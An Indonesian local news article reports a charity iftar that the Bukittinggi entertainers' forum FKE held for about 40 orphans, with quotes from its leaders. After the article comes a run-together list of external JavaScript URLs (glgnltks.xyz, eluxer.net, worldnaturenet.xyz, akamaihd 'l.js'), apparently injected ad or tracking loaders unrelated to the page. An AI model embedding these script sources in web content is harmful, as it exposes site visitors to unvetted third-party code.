Ruang Publik

FKE Bukittinggi Santuni Anak Yatim dan Dhuafa

HaloBukittinggi : Forum Komonikasi Entertaiment (FKE) Bukittinggi, santuni anak yatim dan dhuafa dengan menggelar berbuka bersama di Sekretariat FKE Kongkow Café, By Pass Bukittinggi, Rabu (14/6/2017) kemaren.

Kegiatan buka bersama dengan tema indahnya silaturahmi dan indahnya berbagi ini, selain dihadiri pengurus dan anggota FKE, juga turut dihadiri sekitar 40 orang anak yatim dan dhuafa dari Panti Asuhan Batu Tagak Canduang Kabupaten Agam. Kegiatan buka bersama ini diakhiri dengan pemberian santunan oleh pengurus FKE kepada 40 orang anak yatim dan dhuafa.

“Kegiatan buka bersama dan pemberian santunan yang kita laksanakan, sebagai wujud kepedulian FKE kepada anak yatim dan dhuafa, sekaligus sebagai bentuk rasa syukur kami atas segala limpahan yang diberikan Allah SWT kepada kami semua,” ujar Ketua FKE Bukittinggi, Jimmi Endris usai penyerahan santuanan tersebut.

Jimmi menjelaskan, FKE yang didirikan sejak 4 tahun lalu hingga saat ini terus eksis dan berkembang, dan sudah memiliki anggota sekitar 300 orang dari Bukittinggi-Agam. FKE saat ini  tidak hanya sebagai wadah himpunan seniman pemilik usaha Orgen Tunggal saja, namun juga sebagai wadah berkumpulnya insane dan pecinta seni.

FKE Kata Jimmi, merupakan momentum strategis bagi para seniman, khususnya bagi pemilik orgen tunggal dalam merajut tali silaturahmi dan komonikasi antara sesame seniman. Sesuai visi dan misinya FKE, dalam setiap gerak dan aktivitasnya FKE selalu mengusung Adat Basandi Syarak, Syarak Basandi Kitabullah (ABS-SBK).

“Sesuai dengan visi dan misi FKE, kami berusaha untuk tidak memberikan image negative terhadap aktifitas yang kami lakukan. Jika ada permintaan hiburan orgen tunggal maka 80 parsen penyanyi kami sudah memakai Hijab,” ujar Jimmi didampingi Dewan Pertimbangan FKE, Rizal alias Mak Jaja.

Menurut Jimmi, FKE akan selalu berkoordinasi dan membina hubungan yang harmonis dengan semua lapisan masyarakat, termasuk dengan pemerintah daerah Bukittinggi-Agam.

“Kedepan FKE berharap agar pemerintah daerah bisa lebih  memperhatikan insane seni yang ada di Bukittinggi dengan melibatkan dalam setiap kegiatan dan ivent. Kalua ada seniman kita di Bukittinggi yang bisa tampil, kenapa kita harus cari keluar,” harap Jimmi.

Sementara itu anggota Dewan Pertimbangan FKE Mak Jaja menambahkan, kehadiran FKE telah mampu mengayomi sekaligus memberikan bimbingan dan perlindungan terhadap anggota yang tergabung di dalamnya. Sehingga dalam setiap aktivitas yang dilakukannya, FKE selalu bisa mendapatkan tempat di hati masyarakat.

“FKE selalu peduli dan bahu membahu antara sesame anggota, begitu juga sesame para seniman lainnya. FKE tidak hanya aktif dibidang seniman saja tapi juga aktif dibidang social lainnya, seperti penggalangan dana untuk anak yatim dan dhuafa serta pemberian santuanan kepada anak yatim tiap tahunnya,” pungkas Mak Jaja. (Dipra)

 

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51565x4460x&r=29https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a&blocks%5B%5D=00735

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top